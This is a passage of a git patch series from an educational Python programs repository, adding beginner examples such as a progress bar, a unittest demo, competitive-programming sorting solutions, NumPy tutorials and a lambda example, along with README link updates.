From d71d6987a3dbf04b7b1dcd1287b009295821a973 Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Sun, 2 Jul 2017 07:52:24 +0530 Subject: [PATCH 001/101] Python program to make a simple progress bar --- Programs/P70_SimpleProgressBar.py | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) create mode 100644 Programs/P70_SimpleProgressBar.py diff --git a/Programs/P70_SimpleProgressBar.py b/Programs/P70_SimpleProgressBar.py new file mode 100644 index 00000000..ee03455a --- /dev/null +++ b/Programs/P70_SimpleProgressBar.py @@ -0,0 +1,18 @@ +# This is the program for creating a simple progress bar. You may need this in many of your projects. +# You can install a module for progress bar by 'pip3 install progressbar2' + +import sys, time + +def progressBar(count, total, suffix=''): + barLength = 60 + filledLength = int(round(barLength * count / float(total))) + + percent = round(100.0 * count / float(total), 1) + bar = '=' * filledLength + '-' * (barLength - filledLength) + + sys.stdout.write('[%s] %s%s ...%s\r' % (bar, percent, '%', suffix)) + sys.stdout.flush() + +for i in range(10): + time.sleep(1) + progressBar(i, 10) From b6c3250642bf7a3cf658fe67a052c97931e1fc31 Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Sun, 2 Jul 2017 07:52:49 +0530 Subject: [PATCH 002/101] Simple example of Python unittest module --- Programs/P71_PythonUnittest.py | 44 ++++++++++++++++++++++++++++++++++ 1 file changed, 44 insertions(+) create mode 100644 Programs/P71_PythonUnittest.py diff --git a/Programs/P71_PythonUnittest.py b/Programs/P71_PythonUnittest.py new file mode 100644 index 00000000..b5ef6855 --- /dev/null +++ b/Programs/P71_PythonUnittest.py @@ -0,0 +1,44 @@ +# Author: OMKAR PATHAK + +# This module helps to build the testcases for a particular program to test its integrity and overall execution + +import unittest + +def checkPrime(number): + '''This function checks if the number is a prime number''' + if number == 2: + return True + if number > 2: + for i in range(2, number): + if number % i == 0: + return False + break + else: + return True + break + else: + return False + +# Class for providing test cases +class CheckPrime(unittest.TestCase): + + def test_checkPrime(self): + self.assertEqual(checkPrime(3), True) # Check if the function returns the value specified in the second argument + + def test_checkPrime2(self): + self.assertTrue(checkPrime(5)) # Check if the function returns True + self.assertFalse(checkPrime(4)) # Check if the function returns False + + def test_checkPrime3(self): + # Check that providing a string input produces an error + with self.assertRaises(TypeError): + checkPrime('1') + +if __name__ == '__main__': + unittest.main() + + # OUTPUT: + # ---------------------------------------------------------------------- + # Ran 3 tests in 0.000s + #   + # OK From bc6357b901cccac5afca9b33ea4a7bb0c0c0a039 Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Sun, 2 Jul 2017 07:54:41 +0530 Subject: [PATCH 003/101] Updated README --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index 817922a8..115ce4a4 100644 --- a/README.md +++ b/README.md @@ -135,3 +135,5 @@ Implementation of Pascal Triangle One of the efficient algorithms to find all the prime numbers upto n, where n can be upto 10 million * [Reverse the words](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P69_ReverseWords.py) Reversing the order of WORDS in a sentence +* [Python Progress bar](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P70_SimppleProgressBar.py) +* [Python unittest Module](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P71_PythonUnittest.py) From 2836e6ea3a6d4f9007cefb233173d0ee65dcff08 Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Sun, 2 Jul 2017 07:54:53 +0530 Subject: [PATCH 004/101] Updated README --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 115ce4a4..44d11c68 100644 --- a/README.md +++ b/README.md @@ -135,5 +135,5 @@ Implementation of Pascal Triangle One of the efficient algorithms to find all the prime numbers upto n, where n can be upto 10 million * [Reverse the words](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P69_ReverseWords.py) Reversing the order of WORDS in a sentence -* [Python Progress bar](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P70_SimppleProgressBar.py) +* [Python Progress bar](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P70_SimpleProgressBar.py) * [Python unittest Module](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P71_PythonUnittest.py) From c4b1fff30d0dd6af3a489603cf2c5528dd627fc5 Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Sun, 2 Jul 2017 07:55:41 +0530 Subject: [PATCH 005/101] Algorithms: Sorting Problems --- .../Sorting/P04_TheRiseOfWeirdThings.py | 45 +++++++++++++++++++ 1 file changed, 45 insertions(+) create mode 100644 CompetitiveProgramming/HackerEarth/Algorithms/Sorting/P04_TheRiseOfWeirdThings.py diff --git a/CompetitiveProgramming/HackerEarth/Algorithms/Sorting/P04_TheRiseOfWeirdThings.py b/CompetitiveProgramming/HackerEarth/Algorithms/Sorting/P04_TheRiseOfWeirdThings.py new file mode 100644 index 00000000..9aeca5e7 --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/Algorithms/Sorting/P04_TheRiseOfWeirdThings.py @@ -0,0 +1,45 @@ +# Insertion Sort problem + +# Bangalore City, where peace prevails most of the time. Not everyone is a huge fan of peace, though. Certainly not Mr. XYZ, whose identity is not known to us - yet. Mr. XYZ has somehow managed to bring vampires and zombies to Bangalore City to attack and destroy the city. +# +# Fatal Eagle, an ordinary citizen of the city is extremely worried on seeing his city being attacked by these weird creatures. But, as of now, he has no power to stop these creatures from their silent attacks. He wants to analyze these creatures firstly. He figured out some things about these creatures, like: +# +# Zombies have power in terms of an EVEN number. +# Vampires have power in terms of an ODD number. +# If he sees a zombie or a vampire, he marks them in his list with their power. After generating the entire list of power of these creatures, he decides to arrange this data in the following manner: +# +# All the zombies arranged in sorted manner of their power, followed by the total power of zombies. +# All the vampires arranged in sorted manner of their power, followed by the total power of vampires. +# You've to help him produce the following list to help him save his city. +# +# Input constraints: +# The first line of input will contain an integer — N, denoting the number of creatures. The next line will contain N integers denoting the elements of the list containing the power of zombies and vampires. +# +# Output constraints: +# Print the required list in a single line. +# +# Constraints: +# 1 ≤ N ≤ 103 +# 1 ≤ Ni ≤ 103 +# +# SAMPLE INPUT +# 6 +# 2 3 10 12 15 22 +# +# SAMPLE OUTPUT +# 2 10 12 22 46 3 15 18 + +n = int(input()) +array = [int(i) for i in input().split()] +even = [] +odd = [] + +for i in range(len(array)): + if array[i] % 2 == 0: + even.append(array[i]) + else: + odd.append(array[i]) + +even.sort() +odd.sort() +print(' '.join([str(i) for i in even]), sum(even), ' '.join([str(i) for i in odd]), sum(odd)) From 4b821afd2d3806e17952894b98ba1255590cb82e Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Mon, 3 Jul 2017 07:19:57 +0530 Subject: [PATCH 006/101] Algorithms: Sorting Problems --- .../Sorting/P05_MonkAndNiceStrings.py | 62 +++++++++++++++++++ 1 file changed, 62 insertions(+) create mode 100644 CompetitiveProgramming/HackerEarth/Algorithms/Sorting/P05_MonkAndNiceStrings.py diff --git a/CompetitiveProgramming/HackerEarth/Algorithms/Sorting/P05_MonkAndNiceStrings.py b/CompetitiveProgramming/HackerEarth/Algorithms/Sorting/P05_MonkAndNiceStrings.py new file mode 100644 index 00000000..a4f66f12 --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/Algorithms/Sorting/P05_MonkAndNiceStrings.py @@ -0,0 +1,62 @@ +# Insertion Sort Problem +# +# Monk's best friend Micro's birthday is coming up. Micro likes Nice Strings very much, so Monk decided to gift +# him one. Monk is having N nice strings, so he'll choose one from those. But before he selects one, he need +# to know the Niceness value of all of those. Strings are arranged in an array A, and the Niceness value of +# string at position i is defined as the number of strings having position less than i which are lexicographicaly smaller than +# A[i]. Since nowadays, Monk is very busy with the Code Monk Series, he asked for your help. +# Note: Array's index starts from 1. +# +# Input: +# First line consists of a single integer denoting N. N lines follow each containing a string made of lower case English alphabets. +# +# Output: +# Print N lines, each containing an integer, where the integer in ith line denotes Niceness value of string A[i]. +# +# Constraints: +# 1≤N≤1000 +# 1≤|A[i]|≤10 ∀ i where 1≤i≤N, where +# |A[i]| denotes the length of +# ith string. +# +# SAMPLE INPUT +# 4 +# a +# c +# d +# b +# +# SAMPLE OUTPUT +# 0 +# 1 +# 2 +# 1 +# +# Explanation +# Number of strings having index less than 1 which are less than "a" = 0 +# Number of strings having index less than 2 which are less than "c": ("a") = 1 +# Number of strings having index less than 3 which are less than "d": ("a", "c") = 2 +# Number of strings having index less than 4 which are less than "b": ("a") = 1 + +# My solution +array = [] +for i in range(int(input())): + array.append(input()) + +for i in range(len(array)): + count = 0 + for j in range(0, i + 1): + if array[j] < array[i]: + count += 1 + print(count) + +# Better solution +n = int(input()) +a = [] +for i in range(n): + a.append(input()) + ans = 0 + for j in a: + if j < a[i]: + ans += 1 + print(ans) From 4f2e59b88b75749b3fe8f69a60f47cfd7f2d89d0 Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Mon, 3 Jul 2017 07:20:03 +0530 Subject: [PATCH 007/101] Algorithms: Sorting Problems --- .../Algorithms/Sorting/P06_MergeSort.py | 53 +++++++++++++++++++ 1 file changed, 53 insertions(+) create mode 100644 CompetitiveProgramming/HackerEarth/Algorithms/Sorting/P06_MergeSort.py diff --git a/CompetitiveProgramming/HackerEarth/Algorithms/Sorting/P06_MergeSort.py b/CompetitiveProgramming/HackerEarth/Algorithms/Sorting/P06_MergeSort.py new file mode 100644 index 00000000..f0ebba77 --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/Algorithms/Sorting/P06_MergeSort.py @@ -0,0 +1,53 @@ +# Given an array A on size N, you need to find the number of ordered pairs (i,j) such that iA[j]. +# +# Input: +# First line contains one integer, N, size of array. +# Second line contains N space separated integers denoting the elements of the array A. +# +# Output: +# Print the number of ordered pairs (i,j) such that iA[j]. +# +# Constraints: +# 1≤N≤106 +# 1≤A[i]≤106 +# +# SAMPLE INPUT +# 5 +# 1 4 3 2 5 +# +# SAMPLE OUTPUT +# 3 + +n = int(input()) +array = [int(i) for i in input().split()] + +def mergeSort(array): + if len(array) == 0 or len(array) == 1: + return array + else: + mid = len(array) // 2 + left = mergeSort(array[:mid]) + right = mergeSort(array[mid:]) + return merge(left, right) + +def merge(left, right): + mergeArray = [] + while len(left) != 0 and len(right) != 0: + if left[0] < right[0]: + mergeArray.append(left[0]) + left.remove(left[0]) + else: + mergeArray.append(right[0]) + right.remove(right[0]) + global value + value += 1 # Note this step + if len(left) == 0: + mergeArray += right + else: + mergeArray += left + + return mergeArray + +value = 0 +mergeSort(array) +print(value) From 969f154918cdd416d10c4b1e6c8163d71ef10d2c Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Mon, 3 Jul 2017 07:21:41 +0530 Subject: [PATCH 008/101] Updated README --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index 44d11c68..71ebd1f5 100644 --- a/README.md +++ b/README.md @@ -136,4 +136,6 @@ One of the efficient algorithms to find all the prime numbers upto n, where n ca * [Reverse the words](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P69_ReverseWords.py) Reversing the order of WORDS in a sentence * [Python Progress bar](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P70_SimpleProgressBar.py) +A simple progress bar helpful for showing the progress of a download * [Python unittest Module](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P71_PythonUnittest.py) +A Python module for writing test cases From cec623d0004d52f501b7bbbbdc54a3835acf6a6c Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Tue, 4 Jul 2017 07:15:22 +0530 Subject: [PATCH 009/101] Codechef: Easy Problems --- CompetitiveProgramming/CodeChef/P23_CHEFA.py | 43 ++++++++++++++++++++ 1 file changed, 43 insertions(+) create mode 100644 CompetitiveProgramming/CodeChef/P23_CHEFA.py diff --git a/CompetitiveProgramming/CodeChef/P23_CHEFA.py b/CompetitiveProgramming/CodeChef/P23_CHEFA.py new file mode 100644 index 00000000..d2543536 --- /dev/null +++ b/CompetitiveProgramming/CodeChef/P23_CHEFA.py @@ -0,0 +1,43 @@ +# Chef and Roma are playing a game. Rules of the game are quite simple. +# Initially there are N piles of stones on the table. +# In each turn, a player can choose one pile and remove it from the table. +# Each player want to maximize the total number of stones removed by him. +# Chef takes the first turn. +# +# Please tell Chef the maximum number of stones he can remove assuming that both players play optimally. +# +# Input +# The first line of the input contains an integer T denoting the number of test cases. The description of T test cases follows. +# +# The first line of each test case contains a single integer N denoting the number of piles. +# +# The second line contains N space separated integers A1, A2, ..., AN denoting the number of stones in each pile. +# +# Output +# For each test case, output a single line containg the maximum number of stones that Chef can remove. +# +# Constraints +# 1 ≤ Ai ≤ 109 +# Subtask 1 (35 points): T = 10, 1 ≤ N ≤ 1000 +# Subtask 2 (65 points): T = 10, 1 ≤ N ≤ 105 +# +# Example +# Input: +# 2 +# 3 +# 1 2 3 +# 3 +# 1 2 1 +# +# Output: +# 4 +# 3 + +for _ in range(int(input())): + n = int(input()) + array = [int(i) for i in input().split()] + array.sort() + + stones1 = sum([array[i] for i in range(0, n, 2)]) + stones2 = sum([array[i] for i in range(1, n, 2)]) + print(max(stones2, stones1)) From 92e605674ea07144ce2ef0c52663cf43af8080cd Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Tue, 4 Jul 2017 07:15:47 +0530 Subject: [PATCH 010/101] Intro and Basics of Numpy --- Numpy/P01_Introduction.py | 59 +++++++++++++++++++++++++++++++++++++++ 1 file changed, 59 insertions(+) create mode 100644 Numpy/P01_Introduction.py diff --git a/Numpy/P01_Introduction.py b/Numpy/P01_Introduction.py new file mode 100644 index 00000000..610aa82a --- /dev/null +++ b/Numpy/P01_Introduction.py @@ -0,0 +1,59 @@ +# Author: OMKAR PATHAK + +# NumPy (Numeric Python) is a Python package used for building multi dimensional arrays and performing +# various operations + +# In this program we will walk through various concepts and see available functions in the NumPy package. + +# For installing: pip3 install numpy + +import numpy as np + +# we have a function arange() which makes an array of the specified dimension. Example: +myArray = np.arange(20) +print(myArray) # [ 0  1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19] + +# an array from 10 to 20 +myArray = np.arange(10, 20) # [10 11 12 13 14 15 16 17 18 19] +print(myArray) + +# an array from 10 to 20 with 2 steps +myArray = np.arange(10, 20, 2) +print(myArray) # [10 12 14 16 18] + +# reshape() helps to reshape our NumPy array +myArray = np.arange(20) +# syntax: reshape(number_of_rows, number_of_columns) +myArray = myArray.reshape(4, 5) +print(myArray) + +# [[ 0  1  2  3  4] +#  [ 5  6  7  8  9] +#  [10 11 12 13 14] +#  [15 16 17 18 19]] + +myArray = myArray.reshape(10, 2) +print(myArray) + +# [[ 0  1] +#  [ 2  3] +#  [ 4  5] +#  [ 6  7] +#  [ 8  9] +#  [10 11] +#  [12 13] +#  [14 15] +#  [16 17] +#  [18 19]] + +# shape returns the shape of the array. The length of shape tuple is called as rank (or dimension) +print(myArray.shape) # (10, 2) + +# ndim returns the dimension (rank) of the array +print(myArray.ndim) # 2 + +# size returns the total number of elements in the array +print(myArray.size) # 20 + +# to check the data we have dtype. +print(myArray.dtype) # int64 From 8d8603fb4378d48f85ecb2c15ea2951bc9c33393 Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Tue, 4 Jul 2017 07:16:03 +0530 Subject: [PATCH 011/101] Numpy Data Types --- Numpy/P02_NumpyDataTypes.py | 34 ++++++++++++++++++++++++++++++++++ 1 file changed, 34 insertions(+) create mode 100644 Numpy/P02_NumpyDataTypes.py diff --git a/Numpy/P02_NumpyDataTypes.py b/Numpy/P02_NumpyDataTypes.py new file mode 100644 index 00000000..fd337742 --- /dev/null +++ b/Numpy/P02_NumpyDataTypes.py @@ -0,0 +1,34 @@ +# Author: OMKAR PATHAK + +# Data type Description +# bool_ Boolean (True or False) stored as a byte +# int_ Default integer type (same as C long; normally either int64 or int32) +# intc Identical to C int (normally int32 or int64) +# intp Integer used for indexing (same as C ssize_t; normally either int32 or int64) +# int8 Byte (-128 to 127) +# int16 Integer (-32768 to 32767) +# int32 Integer (-2147483648 to 2147483647) +# int64 Integer (-9223372036854775808 to 9223372036854775807) +# uint8 Unsigned integer (0 to 255) +# uint16 Unsigned integer (0 to 65535) +# uint32 Unsigned integer (0 to 4294967295) +# uint64 Unsigned integer (0 to 18446744073709551615) +# float_ Shorthand for float64. +# float16 Half precision float: sign bit, 5 bits exponent, 10 bits mantissa +# float32 Single precision float: sign bit, 8 bits exponent, 23 bits mantissa +# float64 Double precision float: sign bit, 11 bits exponent, 52 bits mantissa +# complex_ Shorthand for complex128. +# complex64 Complex number, represented by two 32-bit floats (real and imaginary components) +# complex128 Complex number, represented by two 64-bit floats (real and imaginary components) + +import numpy as np + +# while creating a numpy array, any data type from above can be explicitly specified. +myArray = np.arange(10) +print(myArray) # [0 1 2 3 4 5 6 7 8 9] + +myArray = np.array(myArray, dtype = np.float32) +print(myArray) # [ 0.  1.  2.  3.  4.  5.  6.  7.  8.  9.] + +myArray = np.array(myArray, dtype = np.complex64) +print(myArray) # [ 0.+0.j  1.+0.j  2.+0.j  3.+0.j  4.+0.j  5.+0.j  6.+0.j  7.+0.j  8.+0.j 9.+0.j] From 5c6eb34e7aac161714ec3bcf3cbaff38fe9549df Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Tue, 4 Jul 2017 07:17:59 +0530 Subject: [PATCH 012/101] Updated README --- README.md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/README.md b/README.md index 71ebd1f5..da807866 100644 --- a/README.md +++ b/README.md @@ -94,6 +94,10 @@ Pune, Maharashtra, India.
6. [More on Decorators](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P47_MoreOnDecorators.py) 7. [List Comprehensions](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P50_ListComprehensions.py) +## Numpy +1. [Introduction and Basics of Numpy](https://github.com/OmkarPathak/Python-Programs/blob/master/Numpy/P01_Introduction.py) +2. [Numpy Data Types](https://github.com/OmkarPathak/Python-Programs/blob/master/Numpy/P02_NumpyDataTypes.py) + ## Mini Projects * [Address Book](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P61_AddressBook.py) With Add, Modify, Search. From ff2651e94a8a58c60351ab290e1d052cb8913d2c Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Tue, 4 Jul 2017 07:27:06 +0530 Subject: [PATCH 013/101] Intro and Basics of Numpy --- Numpy/P01_Introduction.py | 24 ++++++++++++++++++++++++ 1 file changed, 24 insertions(+) diff --git a/Numpy/P01_Introduction.py b/Numpy/P01_Introduction.py index 610aa82a..95dbd2f4 100644 --- a/Numpy/P01_Introduction.py +++ b/Numpy/P01_Introduction.py @@ -57,3 +57,27 @@ # to check the data we have dtype. print(myArray.dtype) # int64 + +# zeros creates an array will all zeros +myArray = np.zeros((3, 4)) +print(myArray) + +# [[ 0.  0.  0.  0.] +#  [ 0.  0.  0.  0.] +#  [ 0.  0.  0.  0.]] + +# ones creates an array with all ones +myArray = np.ones((3, 4)) +print(myArray) + +# [[ 1.  1.  1.  1.] +#  [ 1.  1.  1.  1.] +#  [ 1.  1.  1.  1.]] + +# numpy random module helps to initialize array with random values +myArray = np.random.rand(3, 4) +print(myArray) + +# [[ 0.54808903  0.08750717  0.23886267  0.93589283] +#  [ 0.90750146  0.31197039  0.54013725  0.91092763] +#  [ 0.38827674  0.04647878  0.15997665  0.94909537]] From 6de48cb2dc2486f0485700197a30ae2662857ed1 Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Wed, 5 Jul 2017 07:25:27 +0530 Subject: [PATCH 014/101] Numpy Array Attributes --- Numpy/P03_NumpyAttributes.py | 24 ++++++++++++++++++++++++ 1 file changed, 24 insertions(+) create mode 100644 Numpy/P03_NumpyAttributes.py diff --git a/Numpy/P03_NumpyAttributes.py b/Numpy/P03_NumpyAttributes.py new file mode 100644 index 00000000..538689ae --- /dev/null +++ b/Numpy/P03_NumpyAttributes.py @@ -0,0 +1,24 @@ +# Author: OMKAR PATHAK + +# These are the various attributes provided by NumPy. + +import numpy as np + +myArray = np.array([[1, 2, 3], [4, 5, 6], [7, 8, 9]]) +print(myArray) + +# [[1 2 3] +#  [4 5 6] +#  [7 8 9]] + +# ndarray.size returns the number of items in the array +print(myArray.size) # 9 + +# ndarray.shape returns a tuple consisting of array dimensions +print(myArray.shape) # (3, 3) + +# ndarray.ndim returns the number of array dimensions +print(myArray.ndim) # 2 + +# ndarray.itemsize returns the memory size of each element in the array +print(myArray.itemsize) # 8 From d73e19a8c8cdf6ed6d9370d81edf2d9a3a71e9ed Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Wed, 5 Jul 2017 07:25:39 +0530 Subject: [PATCH 015/101] Updated README --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index da807866..6d0c0999 100644 --- a/README.md +++ b/README.md @@ -97,6 +97,7 @@ Pune, Maharashtra, India.
## Numpy 1. [Introduction and Basics of Numpy](https://github.com/OmkarPathak/Python-Programs/blob/master/Numpy/P01_Introduction.py) 2. [Numpy Data Types](https://github.com/OmkarPathak/Python-Programs/blob/master/Numpy/P02_NumpyDataTypes.py) +3. [Numpy Array Attributes](https://github.com/OmkarPathak/Python-Programs/blob/master/Numpy/P03_NumpyAttributes.py) ## Mini Projects * [Address Book](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P61_AddressBook.py) From 4654d1edf705615c1d6453cba752b2113b00dec6 Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Wed, 5 Jul 2017 07:26:15 +0530 Subject: [PATCH 016/101] Generatinng an array from various numerical ranges --- Numpy/P04_ArrayFromNumericalRanges.py | 43 +++++++++++++++++++++++++++ 1 file changed, 43 insertions(+) create mode 100644 Numpy/P04_ArrayFromNumericalRanges.py diff --git a/Numpy/P04_ArrayFromNumericalRanges.py b/Numpy/P04_ArrayFromNumericalRanges.py new file mode 100644 index 00000000..e8dbbf55 --- /dev/null +++ b/Numpy/P04_ArrayFromNumericalRanges.py @@ -0,0 +1,43 @@ +# Author: OMKAR PATHAK + +# This program illustrates how to create an adarray from numerical ranges + +import numpy as np + +# ndarray.arange(start, stop, step, dtype) +# Creates a numpy array from 1 to 20 +myArray = np.arange(1, 21) +print(myArray) # [ 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20] + +# Specifying data type of each element +myArray = np.arange(10, dtype = 'float') +print(myArray) # [ 0.  1.  2.  3.  4.  5.  6.  7.  8.  9.] + +# Specifying steps to jump in between two elements +myArray = np.arange(1, 21, 2) +print(myArray) # [ 1  3  5  7  9 11 13 15 17 19] + +# ndarray.linspace(start, stop, num, endpoint, retstep, dtype) +# Shows 5 equal intervals between 10 to 20 +myArray = np.linspace(10, 20, 5) +print(myArray) # [ 10.   12.5  15.   17.5  20. ] + +# if endpoint is set to false the last number inn STOP parameter is not executed +myArray = np.linspace(10, 20, 5, endpoint = False) +print(myArray) # [ 10.  12.  14.  16.  18.] + +# ndarray.lopspace returns an ndarray object that contains the numbers that are evenly spaced +# on a log scale. +# ndarray.logscale(start, stop, num, endpoint, base, dtype) +# default base is 10 +myArray = np.logspace(1.0, 3.0, num = 10) +print(myArray) + +# [   10.            16.68100537    27.82559402    46.41588834    77.42636827 +#    129.1549665    215.443469     359.38136638   599.48425032  1000.        ] + +myArray = np.logspace(1.0, 3.0, num = 10, base = 2) +print(myArray) + +# [ 2.          2.33305808  2.72158     3.1748021   3.70349885  4.32023896 +#   5.0396842   5.87893797  6.85795186  8.        ] From 71f6c3fa345eb9f5f61b31cc68142d1bf135e27d Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Wed, 5 Jul 2017 07:27:02 +0530 Subject: [PATCH 017/101] Updated README --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 6d0c0999..bf399723 100644 --- a/README.md +++ b/README.md @@ -98,6 +98,7 @@ Pune, Maharashtra, India.
1. [Introduction and Basics of Numpy](https://github.com/OmkarPathak/Python-Programs/blob/master/Numpy/P01_Introduction.py) 2. [Numpy Data Types](https://github.com/OmkarPathak/Python-Programs/blob/master/Numpy/P02_NumpyDataTypes.py) 3. [Numpy Array Attributes](https://github.com/OmkarPathak/Python-Programs/blob/master/Numpy/P03_NumpyAttributes.py) +4. [Generate Numpy array from various numerical ranges](https://github.com/OmkarPathak/Python-Programs/blob/master/Numpy/P04_ArrayFromNumericalRange.py) ## Mini Projects * [Address Book](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P61_AddressBook.py) From 9a44c0d0678de4eea4333d43195e42529777bfdd Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Thu, 6 Jul 2017 06:56:44 +0530 Subject: [PATCH 018/101] Python Lambda Function example --- Programs/P72_PythonLambda.py | 23 +++++++++++++++++++++++ 1 file changed, 23 insertions(+) create mode 100644 Programs/P72_PythonLambda.py diff --git a/Programs/P72_PythonLambda.py b/Programs/P72_PythonLambda.py new file mode 100644 index 00000000..77b2da4a --- /dev/null +++ b/Programs/P72_PythonLambda.py @@ -0,0 +1,23 @@ +# Author: OMKAR PATHAK + +# In this program we will learn what Python lambda is. +# The lambda operator or lambda function is a way to create small anonymous functions, i.e. functions without +# a name. These functions are throw-away functions, i.e. they are just needed where they have been created. +# Lambda functions are mainly used in combination with the functions filter(), map() and reduce(). The lambda +# feature was added to Python due to the demand from Lisp programmers. + +# The argument list consists of a comma separated list of arguments and the expression is an arithmetic +# expression using these arguments. You can assign the function to a variable to give it a name. +# The following example of a lambda function returns the sum of its two arguments: + +myFunc = lambda x, y: x * y +# returns 6 +print(myFunc(2, 3)) + +# example to find squares of all numbers from a list +myList = [i for i in range(10)] +# returns square of each number +myFunc = lambda x: x * x + +squares = list(map(myFunc, myList)) +print(squares) # [0, 1, 4, 9, 16, 25, 36, 49, 64, 81] From 785a0b0b454f7745c8355ec4d9b12bbbc20034cf Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Thu, 6 Jul 2017 06:56:55 +0530 Subject: [PATCH 019/101] Updated README --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index bf399723..84292b8f 100644 --- a/README.md +++ b/README.md @@ -145,3 +145,5 @@ Reversing the order of WORDS in a sentence A simple progress bar helpful for showing the progress of a download * [Python unittest Module](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P71_PythonUnittest.py) A Python module for writing test cases +* [Python Lambda Function](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P72_PythonLambda.py) +An example of Python Lambda function From 93c895a326b5ff7a047b57064980276e3a2328c6 Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Fri, 7 Jul 2017 06:52:15 +0530 Subject: [PATCH 020/101] Numpy Array Manipulation operations --- Numpy/P05_NumpyArrayManipulation.py | 83 +++++++++++++++++++++++++++++ 1 file changed, 83 insertions(+) create mode 100644 Numpy/P05_NumpyArrayManipulation.py diff --git a/Numpy/P05_NumpyArrayManipulation.py b/Numpy/P05_NumpyArrayManipulation.py new file mode 100644 index 00000000..9a070c5d --- /dev/null +++ b/Numpy/P05_NumpyArrayManipulation.py @@ -0,0 +1,83 @@ +# Author: OMKAR PATHAK + +# This example shows various array manipulation operations +import numpy as np + +# numpy.reshape(array_to_reshape, tuple_of_new_shape) gives new shape (dimension) to our array +myArray = np.arange(0, 30, 2) +print(myArray) # [ 0  2  4  6  8 10 12 14 16 18 20 22 24 26 28] + +myArrayReshaped = myArray.reshape(5, 3) +print(myArrayReshaped) + +# [[ 0  2  4] +#  [ 6  8 10] +#  [12 14 16] +#  [18 20 22] +#  [24 26 28]] + +# numpy.ndarray.flat() returns an 1-D iterator +print(myArray.flat[5]) # 10 + +# numpy.ndarray.flatten() restores the reshaped array into a 1-D array +print(myArrayReshaped.flatten()) + +# numpy.tranpose() this helps to find the tranpose of the given array +print(myArrayReshaped.transpose()) + +# [[ 0  6 12 18 24] +#  [ 2  8 14 20 26] +#  [ 4 10 16 22 28]] + +# numpy.swapaxes(array, axis1, axis2) interchanges the two axes of an array +originalArray = np.arange(8).reshape(2,2,2) +print(originalArray) + +# [[[0 1] +#   [2 3]] +#   +#  [[4 5] +#   [6 7]]] + +print(np.swapaxes(originalArray, 2, 0)) + +# [[[0 4] +#   [2 6]] +#   +#  [[1 5] +#   [3 7]]] + +# numpy.rollaxis(arr, axis, start) rolls the specified axis backwards, until it lies in a specified position +print(np.rollaxis(originalArray, 2)) + +# [[[0 2] +#   [4 6]] +#   +#  [[1 3] +#   [5 7]]] + +# numpy.resize(arr, shape) returns a new array with the specified size. If the new size is greater than +# the original, the repeated copies of entries in the original are contained + +myArray = np.array([[1,2,3],[4,5,6]]) +print(myArray) + +# [[1 2 3] +#  [4 5 6]] + +print(np.resize(myArray, (3, 2))) + +# [[1 2] +#  [3 4] +#  [5 6]] + +# numpy.append(array, values, axis) +myArray = np.array([[1,2,3],[4,5,6]]) +print(myArray) + +# [[1 2 3] +#  [4 5 6]] + +print(np.append(myArray, [7, 8, 9])) + +# [1 2 3 4 5 6 7 8 9] From 7255626deb93176b01b08009f033535a53dcde41 Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Fri, 7 Jul 2017 06:52:28 +0530 Subject: [PATCH 021/101] Updated README --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 84292b8f..e3242b72 100644 --- a/README.md +++ b/README.md @@ -99,6 +99,7 @@ Pune, Maharashtra, India.
